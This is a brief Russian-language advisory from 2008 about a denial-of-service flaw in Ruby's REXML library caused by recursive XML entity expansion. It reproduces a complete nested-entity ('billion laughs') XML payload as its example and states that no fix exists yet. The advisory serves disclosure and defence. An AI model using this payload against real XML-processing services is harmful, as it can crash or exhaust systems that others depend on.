Отказ в обслуживании в Ruby

27 Авг 2008 Добавить комментарий

Программа: Ruby .8.6-p287, 1.8.7-p72 и 1.9.x, возможно более ранние версии

Опасность: Средняя

Наличие эксплоита: Да

Описание:
Уязвимость позволяет удаленному пользователю произвести DoS атаку.

Уязвимость существует из-за ошибки в библиотеке REXML при обработке рекурсивно разветвленных XML данных. Удаленный пользователь может с помощью специально сформированного XML документа вызвать отказ в обслуживании приложения. Пример:

<?xml version=»1.0″ encoding=»UTF-8″?>
<!DOCTYPE member [
<!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
]>
<member>
&a;
</member>

Производитель: www.ruby-lang.org/en/

Решение: Способов устранения уязвимости не существует в настоящее время. В качестве временного решения производитель рекомендует использовать дополнительный сценарий в приложениях, использующих REXML.

Рекомендуем прочитать

Оставьте комментарий